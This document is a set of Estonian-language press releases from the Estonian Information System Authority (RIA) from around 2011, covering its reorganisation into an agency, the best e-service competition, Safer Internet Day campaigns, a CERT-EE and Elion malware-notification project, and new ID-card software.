Riigikogu kinnitas 23. veebruaril eelnõu, millega muutub Riigi Infosüsteemide Arenduskeskus (RIA) alates 1. juunist 2011 ametiks. Uus Riigi Infosüsteemi Amet pakub turvalisuse tagamisel abi era- ja riigisektori infosüsteemide omanikele ning saab õiguse teha järelevalvet.

RIAl on hetkel kokku 11 põhivaldkonda, ametiks saamine puudutab kõige rohkem kahte infoturbega tegelevat osakonda. Lisaks saab amet juurde veel ühe valdkonna - järelevalve.

Kriitilise informatsiooni infrastruktuuri kaitse osakond (KIIK) hindab n-ö suurt pilti, kui hästi on riigis infosüsteemid turvatud ja koostab selle kohta riskianalüüse. Eestis vastutab iga elutähtsa teenuse pakkuja ise enda süsteemi turvalisuse eest. KIIK pakub süsteemide omanikele nõu, kuidas riske hinnata ja annab soovitusi, kuidas olulisi teenuseid kaitsta.

CERT Eesti (Computer Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate juhtumitega. Osakonnalt saab abi, kui Eesti veebilehti või teenuseid rünnatakse või vastupidi, kui ülevõetud Eesti arvutid levitavad pahavara. Ametiks muutumisega saab CERT muu hulgas juurde võimekuse uurida pahavara koodi tasemel. Koodiaudit näitab, mille jaoks konkreetne viirus on loodud - kas ta saadab spämmi, varastab kasutaja andmeid või ründab teisi veebilehti.

Ameti täiesti uus funktsioon on järelevalve, seda nii elutähtsate teenuste turvalisuse kui uute infosüsteemide loomise üle. RIA hakkab kontrollima, et riigi ja erasektori elutähtsad infosüsteemid oleksid turvaliselt üles ehitatud ja hoitud.

Kõik RIA senised valdkonnad jätkavad oma tööd endises mahus. RIA ümberkorraldamise ja küberturbe valdkonna laienemisega seotud vahendite lisavajadus on 0,8 miljonit eurot aastas.

Riigi Infosüsteemi Ameti valdkonnad

Infosüsteemide turvalisus

1. CERT Eesti (Computer Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide ennetuse ja lahendamisega ning kasutajate turvateadlikkuse tõstmisega.

2. Kriitilise informatsiooni infrastruktuuri kaitse (KIIK) tegeleb elutähtsate teenuste toimimiseks vajalike infosüsteemide kaitse korraldamise, riskianalüüside ja turvameetmetega. Elutähtsad teenused on näiteks elektrivarustus, haiglate toimimine, postivõrk jne.

3. Infosüsteemide kolmeastmelist etalonturbe süsteemi (ISKE) kasutades saavad riigiasutused ja kohalikud omavalitsused hinnata, milliseid turvameetmeid on konkreetsete andmete hoidmiseks vaja rakendada.

4. Järelevalve osakond luuakse RIAsse alates 1. juunist 2011. Osakonna eesmärk on kontrollida, et riigi andmete ning süsteemide turvalisus oleks piisav.

Infosüsteemide võime koos toimida

5. Riigiportaal Eesti.ee eesmärk on koondada kõigi riigiasutuste info ja e-teenused. Portaal pakub kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest.

6. Riigi infosüsteemi haldussüsteem (RIHA) on piltlikult öeldes riigi infosüsteemi kaart, mis annab sellest tervikpildi. Infosüsteemide kasutajad, arendajad, haldajad ja kodanikud leiavad siit teavet riigi infosüsteemide, teenuste, klassifikaatorite ja semantikavarade kohta.

7. Dokumendivahetuskeskus (DVK) on infosüsteem, mis lubab erinevatel elektroonilistel dokumendihaldussüsteemidel omavahel dokumente vahetada. Näiteks saab üks ministeerium enda dokumendihaldussüsteemis eelnõu kooskõlastada ja sama dokumendi otse teisele ministeeriumile saata, ilma et peaks dokumendi vahepeal süsteemist välja salvestama ja e-kirjaga edastama.

8. ID-kaardi baastarkvara on vajalik selleks, et inimesed saaksid ennast elektroonilistes keskkondades turvaliselt ID-kaardiga autentida ja digitaalset allkirja anda.

9. X-tee on Eesti riigi põhilisi andmebaase ühendav andmevahetuskiht. X-tee kaudu saavad kõik andmekogud omavahel turvaliselt suhelda, olenemata nende füüsilisest asukohast.

10. Riigi andmeside ja baasinfrastruktuur – RIA korraldab andmeside- ja internetiteenust riigiasutustele ja kohalikele omavalitsustele. Samuti pakub RIA infrastruktuuri riigi teatud e-teenustele.

EL rahastusega seotud teemad

11. Struktuurifonfidide osakond tegeleb EL struktuurifondide toetustega, mis on mõeldud infoühiskonna arendamiseks. Toetusi saavad taotleda era- ja riigisektori asutused ning mittetulundusühingud.

12. EL programm „Infoühiskonna teadlikkuse tõstmine“ tegeleb inimeste ja IT-spetsialistide teavitamisega infoühiskonna võimalustest.

Riigi Infosüsteemide Arenduskeskus loodi 2003. aasta mais Eesti Informaatikakeskuse ja Riigihangete Keskuse liitmisel. RIA eesmärk on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Majandus- ja Kommunikatsiooniministeerium ja Riigi Infosüsteemide Arenduskeskuse korraldatud konkursil selgusid Eesti parimad e-teenused. Ühtekokku osales konkursil 71 uut kodumaist e-lahendust. Edasi liiguvad võitjad rahvusvahelisele konkursile Word Summit Award.

Majandus- ja kommunikatsiooniminister Juhan Partsi sõnul näitas läbi aegade rekordiline kandidaatide hulk, et Eestis loodi arvestavaid e-lahendusi ka masu-ajal. “Nii era, avalik kui ka kolmas sektor peaksid uute e-teenuste loomisel arvestama eeskätt kasu internetikasutajale,” lausus Parts. “Ainult kasutaja jaoks väärtust looval e-lahendusel on eduvõimalusi ka välismaal.”

Kõige tihedam oli konkursisõel e-äri ja ettevõtluse kategoorias, kus parima tiitlile võistles 33 uut e-teenust. Erinevate alade ekspertidest koosnev žürii kuulutas pärast vaidlusi võitjaks sotsiaalse panganduse platvormi isePankur.ee. Žürii esimehe Margus Püüa sõnul hinnati selle inimeste- ja firmadevahelisi laene vahendava teenuse puhul kontseptsiooni terviklikkust ja rahvusvahelist potentsiaali, mis võiks Eestisse tuua online-oksjonimajaga eBay võrreldava üleilmse eduloo.

Kõige tulisemad vaidlused tõi kaasa Eesti parima tiitli andmine e-valitsuse kategoorias, kus võistlustulle olid astunud 15 e-lahendust. Seekord tunnistati Eesti parimaks elektrooniline majandusaasta aruannete keskkond, kuna see puudutab enam kui 120 000 Eesti ettevõtjat. “Kuigi majandusaasta aruannete keskkonna kasutusmugavuse ja visuaalse poole kohta on tehtud kriitikat, muudab see lahendus kõigest mõne aastaga kõigi Eesti ettevõtete aruandluse elektroonseks,” selgitas žürii esimees.

E-tervise vallas oli vaieldamatu võitja Sotsiaalministeeriumi ja Haigekassa retseptikeskus ehk maakeeli digiretsept. “Vaatamata probleemidele süsteemi käivitamisel on see e-teenus tänaseks oluliselt lihtsustanud nii patsientide kui ka arstide elu ning muutnud kõigest aastaga tundmatuseni kogu Eesti tervishoiumaastikku,” põhjendas Margus Püüa.

E-meelelahutuse ja mängude kategoorias noppis tiitlivõidu Elioni minuTV, mille kaudu saavad digitelevisiooni vaatajad määrata arvuti või nutitelefoni vahendusel telekavast saadete meeldetuletusi ning panna saated salvestama.

E-kultuuri ja pärandi vallas kuulutati Eesti parimaks e-teenuseks ajaloo infopank Histrodamus, mis pakub võimalusi Eesti ajaloo interaktiivseks ja visuaalselt atraktiivseks õppimiseks ning seda ka inglise ja vene keeles.

Auhinnad jäeti välja andmata e-õppe, e-kaasamise ning e-teaduse ja tehnoloogia valdkondades, kuna žürii hinnangul polnud neis kategooriates tänavu piisava tasemega projekte Eesti parima e-teenuse tiitli omistamiseks.

Iga kategooria võitja saadetakse aprillis e-Eesti au kaitsma maailma parimate e-lahenduste konkursile World Summit Award (WSA) 2011. E-teenuste arendajatele pakub see häid võimalusi saada rahvusvahelist tunnustust ning kasulikke kontakte ka piiri tagant, mis on suureks abiks nii investeeringute kaasamisel kui ka oma teenustega välisturgudele pürgimisel.

Konkurss “Eesti parim e-teenus 2011” korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel. Sarnased konkursid on toimunud ka 2005, 2007. ja 2009. aastal, kuid toona nime Parim Sisuteenus all.

RIA kuulutas välja riigihanke „Riigi infosüsteemi valdkonna üld- ja kasutajakoolitused 2011”. Koostöös otsitava lepingupartneriga plaanitakse 2011. aastal läbi viia kuni 75 riigi infosüsteemi valdkonna (RIHA, ISKE, KIIK, X-tee, DVK, PKI, koosvõime, infoturve, riigiportaal jm) üld- ja kasutajakoolitust, seminari ja infopäeva.
 

Üritused on osalejatele tasuta ja viiakse läbi Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida finantseerib Euroopa Regionaalarengu Fond.  Lisaks IT-spetsialistidele oodatakse üritustele osalema näiteks dokumendihaldureid, juriste, raamatupidajaid jpt. Hanke eesmärk on leida koolitusteenuse pakkuja, kelle ülesanne on pakkuda ürituste läbiviimiseks sobivad ruumid ja tehnika, leida lektorid, koostada koolitusmaterjalid jne.

Lihtsustatud korras tellitava teenuse pakkumuste esitamise tähtaeg on 7. märts kell 13.00. Täpsem info on leitav riigihangete rubriigis.
 

Teisipäeval 8. veebruaril tähistatakse turvalise interneti päeva. Noorte päevast hõlmab suure osa ilmavõrk, kus kasuliku ja lõbusa kõrval varitsevad mitmed ohud. Kõige suurem oht internetikasutajale on kasutaja ise, mis tuleb peamiselt teadmatusest. Selle aasta turvalise interneti päeva moto on "See on rohkem kui mäng - see on Sinu elu."

Kord internetti vallapäästetud sõnumit tagasi kutsuda pole võimalik ja veebikeskkondades osalemist tuleb võtta kui mainekujundust. Suure osa emotsionaalselt laetud sõnumitest või “vallatutest” piltidest võiks oma renomee huvides jätta jagamata. Parajus on tervisliku elu võti: päevas peab olema parajalt raali ja raalivaba aega.

Noorte internetikasutuse statistika on järgmine:

* Mängurid veedavad veebipõhiseid mänge mängides keskmiselt 8 tundi nädalas.

* Noored magavad öö kohta 2–3 tundi vähem kui 10 aastat tagasi.

* Jaanuaris 2010 registreeriti Second Life’is 18 miljonit kontot.

* Facebook'is on üle 500 miljoni aktiivse kasutaja, kes kulutavad seal ühes kuus kokku 700 miljardit minutit.

* Mängul World of Warcraft on 13 miljonit mängijat.

Turvalise interneti päeva korraldab INSAFE edendamaks veebipõhise tehnoloogia ja mobiiltelefonide turvalisemat ja vastutustundlikumat kasutamist.

2004. aastal Euroopa Liidu projekti SafeBorder algatusena sündinud turvalise interneti päeva tähistatakse ülemaailmailmselt rohkem kui 60 riigis, Brasiiliast Jaapani ja Keeniani. 2011. aastal keskendutakse „virtuaalelude“ uurimisele.

Rohkem infot leiab aadressilt www.targaltinternetis.ee.

Alates 1. veebruarist alustab Elion koostöös CERT Eestiga ennetava arvutikaitse projektiga. Selle eesmärk on teavitada Elioni kliente võimalikest turvaohtudest ja vähendada sellega oluliselt arvutiviiruste ja pahavara levikut Eesti internetiruumis.

Infoturbega tegelevate inimeste igapäevatöös ei ole enam üllatus, et kasutajad ei saa arvuti nakatumisest pahavaraga teada, kuigi arvutil on korralik tulemüür ja viirusetõrje. Põhjus peitub selles, et pahavara loojad on teinud märkimisväärseid pingutusi pahavara märkamatuks tegutsemiseks. Aeg-ajalt on see neil ka õnnestunud.

Ennetava arvutikaitse (ingl Walled Garden) eesmärk on suurema õnnetuse ärahoidmine juhtumitel, kui inimene ei oska kahtlustada, et tema arvutisse on kurivara (näiteks pangatroojalane) salaja sisse pugenud. Sellisel puhul antakse arvutikasutajatele sõbralikul viisil teada, et tema arvuti vajab ülevaatust, kuna arvutis võib peituda pahatahtlik viirus. Tavaliselt antakse kasutajale sellest teada suunamisega veebilehele, mis sisaldab infot:
-Miks kasutaja sellele veebilehele sattus?
-Mis on võimalikud ohud, kui ta peaks valima hoiatuse ignoreerimise?
-Mida ta peaks tegema, et arvutisse sattunud pahalasest vabaneda?

Kui esimene kaitseliin – antiviirus – ei “pea vastu” ning arvuti nakatub pahavaraga, ei saa kasutaja sellest tavalisest aru. Arvutisse jõudnud kavalamad viirused teevad esmalt kahjutuks tülikad vastased, antiviiruse programmid ja tulemüüri. Selliste viiruste eesmärk on vaikselt arvutis toimetada, varastades oma “peremehele” seal olevat infot, mida saab sobilike asjaolude kokkulangemisel rahaks teha. Teenimiseks võib pahavara saata välja rämpsposti, osaleda küberründes või internetipanka külastava inimese kontolt raha näpata.

Selleks, et ära hoida kasutaja sattumine küberkriminaali tegevuse ohvriks, on loodud ennetava arvutikaitse lahendus. See annab pahaaimamatule kasutajale teada, et tema arvutisse on sisse murtud ning edasisel arvutikasutamisel võib ta kuriteo ohvriks sattuda. Maailmas tehtud samalaadsete lahenduste kogemuse põhjal on teavitamise viisiks valitud kasutaja suunamine informatiivsele veebilehele.

Kuidas toimib ennetava arvutikaitse tehniline lahendus?

Ennetav arvutikaitse toimib tänu sellele, et enimlevinud arvutiviirused käituvad sarnaselt. Peale arvuti nakatamist võtab arvutiviiruse programm ühendust nn kontrollikeskusega, mille kaudu küberkriminaal saab kontrollida pahavara tegevust. Kontrollikeskus on tavaline internetti ühendatud serverarvuti.

Kontrollkeskuse kaudu juhitakse pahavara tegevusi:
-arvutiviiruse programmiuuenduste allalaadimist;
-varastatud info toimetamist arvutist küberkriminaalile;
-töökäskude täitmist, näiteks teadete postitamine kasutaja Facebooki “seinale”.

Infoturbega tegelevad organisatsioonid avastavad oma tavapärase tegevuse käigus iga päev sadu kontrollikeskusi. CERT Eesti kogub töö käigus avastatud kontrollikeskuste nimekirjad kokku ning edastab info interneti teenusepakkujale. Lisaks kontrollib CERT nimekirja sattunud servereid, sest aeg-ajalt võib nimistusse sattuda ka täiesti tavalisi s.t “häid” servereid.

Kui klient pöördub mõne teadaoleva kontrollkeskuse poole, siis on teenusepakkujal võimalik küllaltki usaldusväärselt öelda, et tegemist on pahavara nakkusega kliendi arvutis.

Kindlasti teevad nimekirja koostamisel väiksemaid vigu välismaised infoturbeorganisatsioonid ning on võimalik, et nimekirja kontrollimisel teeb apsaka ka CERT-EE. Nimekirja usaldusväärsus on kindlasti 100% lähedal, kuid ei saa välistada võimalust, et just Sinu arvuti pöördus "hea" serveri poole, mis oli ekslikult nimekirja sattunud.

Oled saanud ennetava arvutikaitse teavituse, aga arvutis olev antiviirus ei leia midagi?

1. Viirus on antiviirusprogrammi (AV) muutnud “hambutuks” - installeeri uus antiviirus usaldusväärsest allikast.
2. Väga värskeid viirusi ei pruugi viirusetõrje programmid tunda - oota päevakene, võid proovida teisi antiviirusi.
3. AV ei oskagi leida kõiki maailmas olevaid arvutiviirusi – proovi teisi antiviiruse tooteid.
4. AV on tegelikult võlts antiviirus – võlts antiviirus ei tõrju viiruseid. Kasuta tuntud tooteid.
5. Kui kodune internetiühendus on jagatud naabritega, siis palu kõik naabrite arvutid üle kontrollida.
6. Kui kodune WiFi on paroolita, siis võis suvaline nakatunud arvuti koduvõrgus käia. Pane enda WiFile korralik parool.
7. Kas ma saaksin nimekirja võrguaadressidest, mille külastamine käivitab ennetava arvutikaitse? -  Kahjuks on vastus hetkel "ei". Põhjus on sama, miks me ei jaga elanikkonnale uusimaid arvutiviirusi või miks inimesi ei teavitata mürkmadude täpsest asukohast. Me mõistame, et lisaks ametiasutustele ja firmadele võib interneti parendamise soov tekkida ka asjaarmastajatel, kuid hetkel alles kestavad spetsialistide arutelud, kuidas seda ohutult võimaldada.

Kui ülaltoodud võtted ei aita, siis leia endale IT-teadlik abiline, kes on selliste probleemidega varem kokku puutunud.

Homme, 1. veebruaril algab Tiigrihüppe Sihtasutuse eestvedamisel kahenädalane laste ja noorte turvalist internetikasutust edendav kampaania „Targalt internetis“.

„Juba aastaid on üle maailma tähistatud 8. veebruaril Turvalise interneti päeva. Sel aastal keskendume Eestis 8-14. aastaste noorte teadlikkuse suurendamisele ohuolukordadest suhtlusvõrgustikes ja muu virtuaalse meelelahutusega tegelemisel,“ sõnas Tiigrihüppe Sihtasutuse Internetiturvalisuse projektijuht Ilvi Pere ning lisas, et muuhulgas juhitakse tähelepanu ka tasakaalu leidmisele veebivälise ja veebielu vahel.

Toreda uue lähenemisena tõi Pere välja näiteks noortele hariva veebiviktoriini tegemise, mille läbinutele on kingituseks eesti muusikute ainulaadsed mobiilihelinad. Oma hääle teadlikuma internetikasutuse propageerimiseks on andnud Birgit Õigemeel, Cool D, Ines, Tanja Mihhailova ja Tanel Padar.

Samuti toimub 8. veebruaril Turvalise interneti päeva konverents, kuhu on oodatud kõik õpetajad ja teised lastega töötavad inimesed. Konverents kannab rahvusvahelist turvalise interneti päeva juhtmõtet: „See on rohkem kui mäng, see on Sinu elu!“. Peaesineja on Catherine J.Cummings ( International Center of Missing&Exploited Children, USA).

Kampaaniainfot ning internetiturvalisuse alaseid materjale nii lastele, lastevanematele ja õpetajatele koondab veebileht www.targaltinternetis.ee.
Aasta jooksul korraldatakse projekti Targalt internetis raames õpitubasid koolides nii eesti kui vene keeles.
Gümnaasiumiõpilastelt oodatakse töid “Targalt internetis” õppematerjalide konkursile, mille peaauhind on reis kogu klassiga Heureka teaduskeskusesse Helsingis.

Lisainfo kampaania kohta ning registreerumine Turvalise interneti päeva konverentsile veebilehel www.targaltinternetis.ee.

Projekt„Targalt internetis“ on Euroopa Komisjoni programmi "Turvalisem internet" osa. Programmiga on liitunud 30 Euroopa Liidu liikmesriiki. Eestis viivad projekti ellu MTÜ Lastekaitse Liit, Tiigrihüppe Sihtasutus, Politsei-ja Piirivalveamet, Sotsiaalministeerium ja MTÜ Eesti Abikeskused.

Lisainfo:
Ilvi Pere
Tiigrihüppe Sihtasutus
Internetiturvalisuse projektijuht
53034191
ilvi@tiigrihype.ee

Alates tänasest on aadressilt http://installer.id.ee võimalik alla laadida uut ID-kaardi tarkvara Windowsile. Samalt aadressilt leiab eelmise aasta lõpus valminud tarkvara Macile ja Linuxile.

Riigi Infosüsteemide Arenduskeskuse (RIA) asedirektor Kalle Arula sõnul saab nii vana kui uue ID-kaardi tarkvaraga end veebis autentida, digiallkirju vaadata ja anda ning ID-kaarti hallata. „Uus tarkvara Windowsile on üks osa ID-kaardi tarkvara uuenduskuurist, mis algas eelmisel aastal tarkvara valmimisega Linuxile ja Macile. Lisaks töötatakse välja tugi pinpadiga ID-kaardi lugejatele ja nüüdisaegsem digiallkirja formaat“.

Uuele tarkvarale on lisandunud ka võimekus teavitada kasutajat, kui mõni veebileht ID-kaardilt tema andmeid loeb. See on vajalik, et veebilehed ei saaks kaardilt lugeda isikukoodi ilma kasutaja loata.

Kui hetkel on kasutajal arvutis vana ID-kaardi tarkvara Windowsile, ei pea ta midagi muutma või uut ID-tarkvara alla laadima. Kuna tarkvara sai äsja valmis, võib e-teenuste pakkujatel enda süsteemide seadistamine nüüd veidi aega võtta.

Kuigi ID-kaardi tarkvara on läbinud testimise, võib tarkvara kasutuselevõtul ilmneda ootamatuid tõrkeid. Kõigi probleemide korral palume helistada ID-kaardi abiliinile 1777 või kirjutada abi@id.ee.

ID-kaardi tarkvara valmistas Riigi Infosüsteemide Arenduskeskuse tellimusel AS Sertifitseerimiskeskus, tarkvara valmimist toetas EL Regionaalarengu fond. Uue ID-kaardi tarkvara saab alla laadida aadressilt: http://installer.id.ee

Majandus- ja Kommunikatsiooniministeeriumi ning Riigi Infosüsteemide Arenduskeskuse korraldatavale Eesti parima e-teenuse konkursile esitati tänavu 67 uut kodumaist e-lahendust.

Konkursi žürii esimehe Margus Püüa sõnul on 67 kandidaati Eesti parima e-teenuse tiitlile kõigi aegade rekord. “Eelmisest konkursist üle kahe korra rohkem kandidaate tõestab, et hoolimata majanduslikult kitsastest aegadest loodi Eestis ka viimastel aastatel häid ja nutikaid e-lahendusi ning seda kõigis valdkondades,” lausus Püüa.

Kõige tihedam on konkurents e-äri ja ettevõtluse kategoorias, kus parima tiitlile võistleb 28 uut e-teenust.

Oma kandidatuuri on selles kategoorias üles seadnud päevapakkumiste keskkond Cherry.ee, Telegrupi VoIP-lahendus IPCentrex, Ergo Kindlustuse e-reisikindlustus, veebipõhine ressursiplaneerimise ja projektijuhtimise tarkvara Ganttic, arhiveerimis- ja asjaajamisteenus Eesti Arhivaar, internetipõhine küsitluskeskkond Just Ask, parkimiskohtade andmebaas KuhuParkida, If e-büroo, tuleohutuskeskkond Tulekustuti.net, EMT suletud ala m-parkimise lahendus ja reisikindlustus, Piletilevi internetipood, Tuule Piletikeskuse broneerimissüsteem, Elioni Digikogu, ilusalongi haldamise tarkvara SalonInfra, kiirlaenude otsimootor, äritarkvara Next, broneerimissüsteem I.P.I, Koerteregister, veebipõhine raamatupidamistarkvara E-Aktiva, paberivaba raamatupidamist võimaldav Arvekeskus, e-poe tarkvara Pipfrog.com, Projektieksperdi toetusvõimaluste andmebaas, SEB Rahapäevik, laotarkvara Intopia, sotsiaalse panganduse platvorm isePankur.ee, Tele2 veebipood ja personaalse teenuspaketi kokkupanekut võimaldav Starman Start.

Kandidaatide arvult järgneb e-valitsuse kategooria 14 e-lahendusega. Siin astusid võistlustulle Maksu- ja Tolliameti elektrooniline lihtsustatud tuludeklaratsioon ja ettemaksukonto süsteem, kohalike omavalitsuste lemmikloomaregister LLR, Riigikogu otseülekannete arhiiv Riigi.tv, Tallinna linna avalike teenuste andmekogu , EASi iseteeninduskeskkond, Riigi Teataja uus keskkond, sotsiaalteenuste ja -toetuste andmeregister STAR, elektrooniline majandusaasta aruannete keskkond, hoiatamismenetluse infosüsteem, Maa-ameti geoportaal, visualiseeritud äriregister, riigiportaal eesti.ee ja digitaalne isikutunnistus Digi-ID.

E-tervise ja keskkonna valdkonnas pürgib Eesti parimaks seitse e-teenust. Selles kategoorias kandideerivad veebipõhine treeningupäevik ja sotsiaalvõrgustik Sportlyzer, Põhja-Eesti Regionaalhaigla digiregistratuur, E-Koolitervise Infosüsteem, patsientide tagasisidel põhinev tervishoiutöötajate andmebaas TerviseTrend, suguhaiguste kodus testimine lahendus, ravihaldustarkvara Hammas ning retseptikeskus.

E-meelelahutuse ja mängude kategoorias on kandidaate kuus: video- ja raadioülekannete sotsiaalvõrgustik Yaika!, online Kaardimoor, suhtlus- ja mängukeskkond Karu, virtuaalset lemmiklooma pakkuv Mobipets, klassikalise poomismängu maratonversioon ja Facebooki rakendus isiksusetestideks.

E-kaasamise vallas on oma kandidatuuri parima tiitlile üles seadnud mitterahaline kauplemisplatvorm Arambla, loodusressursside säästmisele suunatud liikumineECO2.0, müügijuhtimise tarkvara PipeDrive ja lugude jutustamisele spetsialiseerunud sotsiaalvõrgustik myHistro ning e-õppe alal liiklusohutusprogramm „Ohutus kõigile“, e-koolituste platvorm Traindom ja ajalooalane infopank Histrodamus.

E-kultuuri ja pärandi valdkonnas kandideerivad parimaks e-teenuseks üle-Eestiline kalmistumajanduse infosüsteem Haudi, rahvusarhiivi virtuaalne uurimissaal ja sündmusinfo levikusüsteem Kultuuri.net ning e-teaduse ja tehnoloogia kategoorias inseneridele CAD-teenuseid pakkuv GrabCAD ja idee kaitsmise süsteem Vuupala.

Eesti parimad e-teenused ühtekokku kaheksas kategoorias selgitatakse välja veebruarikuus. Iga kategooria võitja saadetakse aprillis e-Eesti au kaitsma maailma parimate e-lahenduste konkursile World Summit Award (WSA) 2011. E-teenuste arendajatele pakub see häid võimalusi saada rahvusvahelist tunnustust ning kasulikke kontakte ka piiri tagant, mis on suureks abiks nii investeeringute kaasamisel kui ka oma teenustega välisturgudele pürgimisel.

Konkurss “Eesti parim e-teenus 2011” korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel. Sarnased konkursid on toimunud ka 2005, 2007. ja 2009. aastal, kuid toona nime Parim Sisuteenus all.

Valitsus kinnitas täna eelnõu, millega muutub Riigi Infosüsteemide Arenduskeskus alates 1. juunist 2011 ametiks. Uus Riigi Infosüsteemi Amet laiendab infosüsteemide turvalisusega tegelevaid valdkondi ja saab juurde järelevalve osakonna.

RIA direktor Epp Joab: „Loodaval ametil on küberturbe korraldamisel kolm erinevat rolli. Esiteks arendame edasi turvameetmete süsteemi. Pidev turvameetmete arendamine on vajalik, kuna tehnoloogia kiire arenguga ohud muutuvad ja ründed täiustuvad. Teine roll on küberturbe planeerimine, olukorra seiramine ja ennetustöö. Siin oleme juba ennetuse ja IT-spetsialistide koolitusega tegelenud, nüüd pöörame rohkem tähelepanu ka planeerimisele ning seirele. Kolmandaks korraldame riiklikku järelevalvet hädaolukorra seaduse ja avaliku teabe seaduse täitmise üle.“

„Küberjulgeoleku strateegia 2008–2013” ütleb, et küberjulgeoleku tagamisel on kõige olulisem laiaulatusliku turvameetmete süsteemi rakendamine. See tähendab, et Eestis tuleb nii avalikus sektoris kui ka elutähtsaid teenuseid pakkuvates erasektori ettevõtetes ennetada küberintsidentidest põhjustatud teenusekatkestusi ja vajadusel olla võimeline teenust kiiresti taastama.

Samas on selge, et turvaintsidente täielikult välistada ei saa. See tähendab, et Eesti peab võimalikele intsidentidele kiiresti ning asjalikult reageerima. Selleks kaardistatakse infoturbes esmalt võimalikud riskid, kaalutakse nende mõju ja seejärel võetakse kasutusele vajalikud turvameetmed. Kuna turvalisuse tagamine on väga kallis ja teatud riskid jäävad alati alles, on infosüsteemide ja elutähtsate teenuste omanikel vajalik saada sõltumatu hinnang, kas nende valitud turvameetmed on piisavad. Uus amet hakkab kontrollima, et riigi ja erasektori elutähtsad infosüsteemid oleksid turvaliselt üles ehitatud ja hoitud.

Samuti jälgib amet, et uute infosüstemide kasutusele võtmisel järgitaks seadusi. See on vajalik, et erinevad infosüsteemid suudaksid alates loomise hetkest koos toimida. Kõik RIA senised valdkonnad jätkavad oma tööd endises mahus.

RIA ümberkorraldamise ja küberturbe valdkonna laienemisega seotud vahendite lisavajadus on 12,9 miljonit krooni aastas.

Riigi Infosüsteemi Ameti valdkonnad

Infosüsteemide turvalisus

1. CERT Eesti (Computer Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide ennetuse ja lahendamisega ning kasutajate turvateadlikkuse tõstmisega.

2. Kriitilise informatsiooni infrastruktuuri kaitse (KIIK) tegeleb elutähtsate teenuste toimimiseks vajalike infosüsteemide kaitse korraldamise, riskianalüüside ja turvameetmetega. Elutähtsad teenused on näiteks elektrivarustus, haiglate toimine, postivõrk jne.

3. Infosüsteemide kolmeastmelist etalonturbe süsteemi (ISKE) kasutades saavad riigiasutused ja kohalikud omavalitsused hinnata, milliseid turvameetmeid on konkreetsete andmete hoidmiseks vaja rakendada.

4. Järelevalve osakond luuakse RIAsse alates 1. juunist 2011. Osakonna eesmärk on kontrollida, et riigi andmete ning süsteemide turvalisus oleks piisav.

Infosüsteemide võime koos toimida

5. Riigiportaal Eesti.ee eesmärk on koondada kõigi riigiasutuste info ja e-teenused. Portaal pakub kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest.

6. Riigi infosüsteemi haldussüsteem (RIHA) on piltlikult öeldes riigi infosüsteemi kaart, mis annab sellest tervikpildi. Infosüsteemide kasutajad, arendajad, haldajad ja kodanikud leiavad siit teavet riigi infosüsteemide, teenuste, klassifikaatorite ja semantikavarade kohta.

7. Dokumendivahetuskeskus (DVK) on infosüsteem, mis lubab erinevatel elektroonilistel dokumendihaldussüsteemidel omavahel dokumente vahetada. Näiteks saab üks ministeerium enda dokumendihaldussüsteemis eelnõu kooskõlastada ja sama dokumendi otse teisele ministeeriumile saata, ilma et peaks dokumendi vahepeal süsteemist välja salvestama ja e-kirjaga edastama.

8. ID-kaardi baastarkvara on vajalik selleks, et inimesed saaksid ennast elektroonilistes keskkondades turvaliselt ID-kaardiga autentida ja digitaalset allkirja anda.

9. X-tee on Eesti riigi põhilisi andmebaase ühendav andmevahetuskiht. X-tee kaudu saavad kõik andmekogud omavahel turvaliselt suhelda, olenemata nende füüsilisest asukohast.

10. Riigi andmeside ja baasinfrastruktuur – RIA korraldab andmeside- ja internetiteenust riigiasutustele ja kohalikele omavalitsustele. Samuti pakub RIA infrastruktuuri riigi teatud e-teenustele.

EL rahastusega seotud teemad

11. Struktuurifonfidide osakond tegeleb EL struktuurifondide toetustega, mis on mõeldud infoühiskonna arendamiseks. Toetusi saavad taotleda era- ja riigisektori asutused ning mittetulundusühingud.

12. EL programm „Infoühiskonna teadlikkuse tõstmine“ tegeleb inimeste ja IT-spetsialistide teavitamisega infoühiskonna võimalustest.

Riigi Infosüsteemide Arenduskeskus loodi 2003. aasta mais Eesti Informaatikakeskuse ja Riigihangete Keskuse liitmisel. RIA eesmärk on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Vaid selle nädala lõpuni - kuni pühapäeva, 16. jaanuarini - saab kandideerida Eesti parima e-teenuse konkursil.

Majandus- ja Kommunikatsiooniministeeriumi ning Riigi Infosüsteemide Arenduskeskuse väljakuulutatud konkursist on oodatud osa võtma kõik Eesti ettevõtted, organisatsioonid ja üksikisikud, kes e-teenuseid ning e-lahendusi arendavad. Parimad valitakse välja e-õppe, e-kultuuri, e-teaduse, e-valitsuse, e-tervise, e-äri, e-meelelahutuse ja e-kaasamise kategooriates. Konkursile esitatud e-teenus või selle parandusversioon peab olema valminud hiljem kui 1. jaanuar 2009.

Praeguseks on konkursil võistlustulle astunud 14 uut kodumaist e-lahendust, kuid ühtki kandidaati Eesti parima tiitlile pole veel e-meelelahutuse kategoorias. Kutsume kõiki üles leidma aega, et täita sellele kirjale lisatud lühike osalemisvorm ning läkitada oma uus ja huvitav e-lahendus konkursile. Kõik osalejad saavad žüriisse kuuluvatelt ekspertidelt tagasisidet oma e-teenusele.

